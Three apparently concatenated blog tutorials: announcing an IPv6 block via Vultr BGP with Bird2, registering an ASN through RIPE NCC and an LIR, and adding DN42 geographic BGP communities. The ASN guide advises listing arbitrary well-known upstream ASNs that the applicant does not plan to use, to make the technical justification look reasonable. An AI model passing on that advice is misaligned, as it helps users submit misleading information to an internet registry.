Preface In the previous article, we successfully registered an ASN and obtained an IPv6 address block. Now, we will announce this block to the world. Setting Up the Subnet Object in the RIPE Database It's important to note that the minimum IPv6 prefix allowed for announcement on the public internet is /48. This means if you only have a single /48 block, you cannot break it down into smaller segments. Therefore, I later leased a separate /40 block, intending to split it into multiple /48s for announcement. The IPv6 block I obtained is 2a14:7583:f200::/40, and I plan to split out 2a14:7583:f203::/48 for use with Vultr. If you don't need to split your block, please skip directly to the "Creating the Route Object" section. Splitting the Prefix First, go to Create "inet6num" object - RIPE Database and fill in the following: inet6num: The IP block you want to split out, in CIDR format. netname: Network name. country: The country to which the IP block belongs, must conform to the ISO 3166 standard (can be selected directly in the RIPE DB). admin-c: The primary key value of the Role object created earlier. tech-c: The primary key value of the Role object created earlier. status: Keep ASSIGNED This step splits a smaller /48 address block from your obtained allocation. Creating the Route Object Go to Create "route6" object - RIPE Database and fill in the following: route6: The IPv6 address block you intend to announce, in CIDR format. origin: The ASN you applied for, including the 'AS' prefix. This step declares that your ASN is permitted to use this address block for originating BGP routes. Applying for BGP Session with a VPS Provider This time I'm using a machine from Vultr. Their BGP Session setup is very beginner-friendly, with their own validation system. Furthermore, their upstream has good filters ensuring that incorrect route advertisements generally won't affect the public internet. (I forgot to take screenshots during my configuration, but you can refer to the section 申请 Vultr 的 BGP 广播功能 in Bao Shuo's article 年轻人的第一个 ASN for reference.) Go to BGP - Vultr.com, select Get Started, and fill in your ASN and IPv6 block information as required. For the LOA (Letter Of Authorization), you can refer to this template: LOA-template.docx (I rewrote one for individuals as most templates found online are for companies). After submission, the system will automatically create a ticket, and you will see your ASN and IP block in a pending verification state: Click Start, and the system will send a verification email to the abuse-mailbox email address registered with your Role object: The received email looks like this: The top link represents approving the authorization for Vultr to announce your IP block, and the bottom one is for disapproval. Click the top link, which will take you to Vultr's webpage: Then click Approve Announcement. Both the ASN and the IP block need to be verified once. Next, wait for the Vultr staff to review and complete the process. Then, in your VPS control panel, you will see the BGP tab, where you can find the upstream information: I must commend Vultr's ticket efficiency here; it took me an average of only about 10 minutes from creating the ticket requesting authorization to completion. (In contrast, the average weekday ticket response time at iFog GmbH was around 1 day, which is much slower in comparison). The process with other VPS providers is generally similar. You need to inform their staff of the ASN and IP block you want to announce. After verifying ownership, the staff will configure the corresponding BGP Session for you. Advertisement! You should have received the following information from your upstream: Upstream's ASN Upstream's IP address for the BGP Session (Optional) Password The operating system I use is Debian 12 Bookworm, using Bird2 as the routing software. I updated Bird2 to the latest version following the section "Update Bird2 to v2.16 or above" in this article. The upstream ASN Vultr gave me is 64515, the upstream BGP Session address is 2001:19f0:ffff::1, and the VPS's BGP Session address is 2001:19f0:0006:0ff5:5400:05ff:fe96:881f. My Bird2 configuration file is modified from the configuration file used in DN42: log syslog all; define OWNAS = 205369; define OWNIPv6 = 2a14:7583:f203::1; define OWNNETv6 = 2a14:7583:f203::/48; define OWNNETSETv6 = [ 2a14:7583:f203::/48+ ]; router id 45.77.x.x; protocol device { scan time 10; } function is_self_net_v6() { return net ~ OWNNETSETv6; } protocol kernel { scan time 20; ipv6 { import none; export filter { if source = RTS_STATIC then reject; krt_prefsrc = OWNIPv6; accept; }; }; }; protocol static { route OWNNETv6 reject; ipv6 { import all; export none; }; } template bgp upstream { local as OWNAS; path metric 1; multihop; ipv6 { import filter { if net ~ [::/0] then reject; accept; }; export filter { if is_self_net_v6() then accept; reject; }; import limit 1000 action block; }; graceful restart; } protocol bgp 'Vultr_v6' from upstream{ local 2001:19f0:0006:0ff5:5400:05ff:fe96:881f as OWNAS; password "123456"; neighbor 2001:19f0:ffff::1 as 64515; } A few noteworthy points: The import rule in the upstream template here rejects the default route. This prevents the routing table sent by the upstream from overwriting local default gateway routes and other routing information. If we have multiple BGP neighbors, this could cause detours or even routing loops. The upstream template specifies multihop (multihop;) because Vultr's BGP peer is not directly reachable. Without setting multihop, the BGP session would get stuck in the Idle state. If your BGP upstream is directly connected, you can omit this line or set it to direct;. After filling in the configuration file, run birdc configure to load the configuration. Run birdc show protocols to check the status. If all goes well, you should see the BGP session state as Established: At this point, you can take a break and wait for global routing convergence. After about half an hour, open bgp.tools and query your /48 block. You should see that it has been successfully received by the global internet, and you can see our upstream information: Next, we create a dummy interface on the VPS and assign a single IPv6 address from the block allocated for this machine. For example, I assigned 2a14:7583:f203::1 to my machine: ip link add dummy0 type dummy ip addr add 2a14:7583:f203::1/128 dev dummy0 Then, using your own PC, you should be able to ping this address, and traceroute will show the complete routing path: Thanks to Mi Lu for the technical support! Reference Articles: 自己在家开运营商 Part.2 - 向世界宣告 IP 段 (BGP Session & BIRD) 年轻人的第一个 ASN - 宝硕博客 BGPlayer 从零开始速成指北 - 开通 Vultr 的 BGP 广播功能 - AceSheep BGP (2) 在 Vultr 和 HE 使用自己的 IPV6 地址 - 131's Blog
Introduction This article documents my complete process of applying for an ASN through the RIPE NCC. The content is suitable for beginners. If you find any errors, please feel free to contact me via email, and I will correct them promptly. Now that we've learned the basic BGP concepts on DN42, it seems a bit of a waste not to play with the public internet, right? Basic Concepts Currently, the allocation of public ASN and IP resources is managed by five Regional Internet Registries (RIRs) worldwide: ARIN: Manages the North American region. RIPE NCC: Manages the European region. APNIC: Manages the Asia-Pacific region. LACNIC: Manages the Latin American region. AfriNIC: Manages the African region. RIRs do not provide services directly to end users. Instead, they allocate resources to Local Internet Registries (LIRs), which then assign them to end users. Of course, individual users can also register as an LIR, but this is generally not cost-effective. If you're willing to pay thousands of dollars in annual fees, then forget I said that. Among these, RIPE NCC is considered more friendly towards individual applications, followed by ARIN and APNIC. Compared to RIPE NCC, APNIC's fees are generally about 30% higher. Furthermore, RIPE NCC provides an online management system allowing users to modify information and check progress themselves, whereas with APNIC, you typically need to contact an LIR for changes. Overall, I chose to apply for an ASN through the RIPE NCC. The resources obtained (both ASN and IPs) are generally categorized into two types: PA (Provider Aggregatable) Resources: Belong to the LIR and are assigned for your use by the LIR. PI (Provider Independent) Resources: Belong to you directly. These are generally more expensive. Preparation Stage Choosing an LIR Search online for LIR Service to find many companies offering such services. Currently, RIPE NCC charges an annual administrative fee of 50 EUR for PI resources. This means the cost from an LIR for registering an ASN generally won't be lower than 50 EUR per year (approximately 60 USD at the time of writing). Here, I chose NoPKT LLC, recommended by peers. Their pricing is quite reasonable and includes a /48 block of PA IPv6 addresses with the ASN. The activation speed was also very fast – it only took half a day from submitting the required documents to getting the ASN. Preparing Documents Proof of Identity Individual: Provide an ID card or passport (I submitted photos of the front and back of my national ID card). Company: Provide a valid business license. If the applicant is a minor, usually written consent from their legal guardian is required, and the guardian must fulfill corresponding responsibilities. All submitted documents must be authentic and valid, and should be originals or notarized copies. Contact Information Postal Address: Used for registration in the RIPE Database. Technical Contact Email. Abuse Contact Email. Technical Justification Billing from a BGP-capable provider within the European region. Options include Vultr, BuyVM, iFog, V.PS, etc. Note: Vultr uses a post-payment system, generating invoices at the beginning of the month. If you need the documents ready quickly, consider other providers. ASNs of two upstream providers you plan to connect to. (In practice, the reviewers won't strictly verify the specific upstream ASNs you list. Therefore, you can fill in common, publicly known ASNs to make it look reasonable. Don't overthink it too much. You can even put mine.) Registering a RIPE DB Account and Creating Objects Go to the RIPE Database and register an account. For Chinese, it's recommended to use the 拼音(Pinyin) of your real legal name. Enabling 2FA is mandatory, so please install a TOTP app on your phone beforehand. Creating a Role Object and Maintainer Object Go to Create role and maintainer pair - RIPE Database to create a role object. Here, a 'role' is an abstract concept describing the contact information for a team, department, or functional role – it represents a role, such as NOC (Network Operations Center), Abuse Team, Hostmaster, etc. mntner: The identifier for the maintainer object. It can contain uppercase/lowercase letters, numbers, and -_. For example, I used IYOROY-MNT. role: The name for the role object. It can contain uppercase/lowercase letters, numbers, and ][)(._"*@,&:!'+/-. For example, I used IYOROY-NETWORK-NOC. address: The office address for this role. e-mail: The email address for this role. Click SUBMIT after filling out the form to create both the role object and the maintainer object. Please note the returned primary key name, which usually ends with -RIPE. You will need this for future modifications and submissions to the LIR. The maintainer object identifier here is conceptually different from the role object. The maintainer signifies who has the authority to maintain (create/modify/delete) objects in the database – it's the maintaining entity. The relationship between different concepts in the RIPE Database can be referenced in the diagram later in the article. Adding an Abuse Contact Mailbox Go to Query - RIPE Database and search for the primary key of the role you just created. You should find the entry you created. Click "Update Object" on the right. Click the plus sign (+) next to the email field to add an abuse-mailbox attribute and fill in your abuse contact email address: Click SUBMIT to save. Note: RIPE periodically checks if the abuse-mailbox is functional. Please ensure you provide a real, active email address. Creating an Organization Object The Organization object here is an abstraction of a legal entity or organization (company, university, ISP, individual user, etc.). It serves as the top-level ownership information for resource objects (like aut-num, inetnum, inet6num) in the RIPE Database. This means subsequent ASN and IP resources will be assigned to this Organization object. Go to Create Organization - RIPE Database and fill in the following information: organisation: A unique ID. Keep it as the default AUTO-1 to let RIPE NCC assign one. org-name: The name of the organization. For Chinese individuals, use your full name in Pinyin. address: Postal address. country: Country code, refer to ISO 3166. For China, use CN. e-mail: The organization's email address. admin-c / tech-c: Administrative and technical contact objects (referencing the role handle). abuse-c: Specifies the abuse contact (must be a role object linked to the abuse-mailbox in that role). mnt-ref: Specifies which maintainer(s) can create objects referencing this organisation. mnt-by: Specifies who can maintain this organisation object itself. Click SUBMIT after filling out the form and note the returned object identifier, which follows a format like ORG-XXXX-RIPE. If you need to make changes after submission, go to Query - RIPE Database and search for the previously noted Role primary key or the Organization object identifier to find the update option. Paying the LIR Fee and Submitting Documents Submit the following documents to your chosen LIR: Proof of Identity Full Name Address (recommended to match your ID document) Photos of the front and back of your ID card RIPE Database Information org: Organization object identifier as-name: AS Name admin-c: Primary key of the role object created earlier tech-c: Primary key of the role object created earlier abuse-c: Primary key of the role object created earlier nic-hdl: Primary key of the role object created earlier mnt-by: Name of the maintainer object created earlier Technical Justification VPS Bill/Invoice Upstream ASNs The LIR will likely ask you to add a mnt-ref attribute to your Organization object, pointing to the LIR's maintainer. This allows the LIR to assign the AS and IP resources to your Organization. Once the LIR reviews and approves your application, they will submit the request to RIPE. Then, it's a waiting game. Generally, it takes 3-5 working days to get your ASN. At this point, we have successfully registered our own ASN on the public internet. Supplement: Relationships Between Concepts in the RIPE Database graph LR %% ========== ORG Layer ========== subgraph Org["Organisation"] ORG["organisation\n(ORG-XXX-RIPE)"] end %% ========== Resource Layer ========== subgraph Resource["Resources"] INETNUM["inetnum\n(IPv4 Block)"] INET6NUM["inet6num\n(IPv6 Block)"] AUTNUM["aut-num\n(ASN)"] ASSET["as-set\n(ASN Set)"] end %% ========== Routing Layer ========== subgraph Routing["Routing"] ROUTE["route\n(IPv4 Route Announcement)"] ROUTE6["route6\n(IPv6 Route Announcement)"] end %% ========== Contact Layer ========== subgraph Contact["Contacts"] ROLE["role\n(Team/Function)\nnic-hdl"] PERSON["person\n(Individual)\nnic-hdl"] end %% ========== Authorization Layer ========== subgraph Maintainer["Authorization"] MNT["mntner\n(Maintainer)"] end %% ========== Contact Links ========== INETNUM --> ROLE INET6NUM --> ROLE AUTNUM --> ROLE ASSET --> ROLE ROUTE --> ROLE ROUTE6 --> ROLE ROLE --> PERSON %% ========== Organization Assignment ========== ORG --> INETNUM ORG --> INET6NUM ORG --> AUTNUM ORG --> ASSET %% ========== Authorization ========== ORG --> MNT INETNUM --> MNT INET6NUM --> MNT AUTNUM --> MNT ASSET --> MNT ROUTE --> MNT ROUTE6 --> MNT ROLE --> MNT PERSON --> MNT %% ========== Route Binding ========== ROUTE -->|origin| AUTNUM ROUTE6 -->|origin| AUTNUM %% ========== Route Scope ========== ROUTE -->|belongs to| INETNUM ROUTE6 -->|belongs to| INET6NUM Special thanks to Mi Lu for providing technical support and answering questions! Reference Articles: 自己在家开运营商 Part.1 - 注册一个 ASN - LYC8503 从0开始注册一个ASN并广播IP | Pysio's Home 青年人的第一个运营商：注册一个 ASN | liuzhen932 的小窝
Foreword I am a novice in BGP. This article may contain imprecise content/naive understandings/elementary mistakes. I kindly ask the experts to be lenient. If you find any issues, you are welcome to contact me via email, and I will correct them as soon as possible. If you find this unacceptable, it is recommended to close this article now. What are BGP Communities? TL;DR: BGP Communities "tag" routes, allowing others to use these tags for route optimization. This concept might be unfamiliar to newcomers (like me), who might not initially understand its purpose. Simply put, BGP Communities are a mechanism for tagging routes, similar to adding labels. They allow network administrators to attach one or more "tags" (i.e., community values) to routes propagated via BGP. These tags themselves do not alter the route's path attributes (like AS_PATH, LOCAL_PREF, MED, etc.), but they provide a signaling mechanism to indicate what policy or processing should be applied to that route by other routers within the same AS or in downstream peer ASes. BGP Communities can be used to: Simplify Policy Configuration: Routers inside the network or in downstream ASes only need to configure policies based on community values (like setting LOCAL_PREF, adding NO_EXPORT, applying route-maps, etc.), without needing to know the specific prefix details. This makes policies more centralized, easier to manage, and less prone to errors. Convey Policy Intent to Downstream ASes: An AS can attach community values to routes it advertises to its downstream customer or peer ASes. These communities convey requirements or suggestions on how these routes should be handled, such as route optimization based on geographic location, latency, or bandwidth. Coordinate Policies within an AS: Inside a large AS, when using IBGP full-mesh or route reflectors, edge routers (receiving EBGP routes or redistributing routes) can tag routes with community values. Core routers or route reflectors within the AS can recognize these communities and apply corresponding internal policies (like setting LOCAL_PREF, MED, deciding whether to advertise to certain IBGP peers, adding other communities, etc.), without needing complex prefix-based policies on every internal router. DN42 has its own set of Communities specifications. For details, please refer to: BGP-communities - DN42 Wiki Configuration The general idea and approach in this article are largely based on Xe_iu's method, focusing on adding BGP Communities for geographic information and performing route optimization. Generally, this is sufficient. (Another reason is that I haven't fully grasped the others yet) Note: We should ONLY add geographic information-related BGP Communities to routes originating from our own AS. We should not add such entries to routes received from neighbors. Adding our own regional Communities to a neighbor's routes constitutes forging the route origin, potentially leading to route hijacking. Downstream networks might misjudge the traffic path, routing traffic that should be direct through your network, increasing latency and consuming your network's bandwidth. (Large Communities are an exception, as they have a verification mechanism to prevent this, but that's beyond the scope of this article). The idea is clear. When exporting routes, we first need to verify if it's our own route. If it is, we add the communities tag to the route. The sample configuration provided by DN42 already includes two functions, is_self_net() and is_self_net_v6(), to check if a route is our own. Therefore, writing the configuration part is straightforward. Adding Communities to Routes First, we need to define the geographic region information for the current node at the beginning of the node configuration file. Please check BGP-communities - DN42 Wiki for details: define DN42_REGION = 52; # 52 represents East Asia define DN42_COUNTRY= 1344; # 1344 represents Hong Kong Please modify these values according to your node's actual geographic location. Then, modify the export filter in the dnpeers template: }; export filter { - if is_valid_network() && source ~ [RTS_STATIC, RTS_BGP] then accept; + if is_valid_network() && source ~ [RTS_STATIC, RTS_BGP] then{ + if (is_self_net()) then { # Check if it's our own route + bgp_community.add((64511, DN42_REGION)); # Add continent-level region info + bgp_community.add((64511, DN42_COUNTRY)); # Add country/region info + } + accept; + } reject; }; import limit 1000 action block; During export, it checks if it's our own route. If it is, it sets the bgp_community according to the defined DN42_REGION and DN42_COUNTRY. Here, 64511 is the reserved public AS number identifier specifically for geographic tags (Region/Country); you can just copy it. Apply the same method to the IPv6 export rules, but replace is_self_net() with is_self_net_v6(). Route Optimization Based on Communities Here we need to introduce another concept: local_pref (Local Preference). It is used within an AS to indicate the priority of a route. Its default value is 100, and a higher value indicates higher priority. Furthermore, in BGP route selection logic, local_pref has the highest priority, even higher than AS_PATH length. This means that by setting local_pref, we can adjust the priority of routes to achieve route optimization. Combining this with the BGP Communities mentioned above, we can set the corresponding local_pref based on Communities for optimization. Also, since BGP.local_pref is propagated within the AS, we need to modify the import logic for both eBGP and iBGP routes. My logic for handling BGP.local_pref here references (basically copies) Xe_iu's approach: For routes from the same region, priority +10 For routes from the same country, priority +5 additionally For routes received via direct peering with us, priority +20 additionally Create a function to calculate the priority: function ebgp_calculate_priority() { int priority = 100; # Base priority # Same region detection (+10) if bgp_community ~ [(64511, DN42_REGION)] then priority = priority + 10; # Same country detection (+5) if bgp_community ~ [(64511, DN42_COUNTRY)] then priority = priority + 5; # Direct eBGP neighbor detection (+20) if bgp_path.len = 1 then priority = priority + 20; return priority; } Then, in the import filter within the dnpeers template, set bgp_local_pref to the value calculated by the function: template bgp dnpeers { local as OWNAS; path metric 1; ipv4 { import filter { if is_valid_network() && !is_self_net() then { if (roa_check(dn42_roa, net, bgp_path.last) != ROA_VALID) then { print "[dn42] ROA check failed for ", net, " ASN ", bgp_path.last; reject; } + bgp_local_pref = ebgp_calculate_priority(); accept; } reject; }; Apply the same method for IPv6. After running birdc configure, we should be able to see that our routes have been tagged with Communities labels at our neighbors: (Screenshot source:https://lg.milu.moe/route_all/hk/172.20.234.224) Special thanks to Nuro Trace and Xe_iu. They helped deepen my understanding of BGP Communities and provided much assistance. Reference Articles: [DN42] bird2的配置文件 – Xe_iu's Blog | Xe_iu的杂物间 [DN42] 谈一谈如何配置 BGP community – Xe_iu's Blog | Xe_iu的杂物间 BGP-communities - DN42 Wiki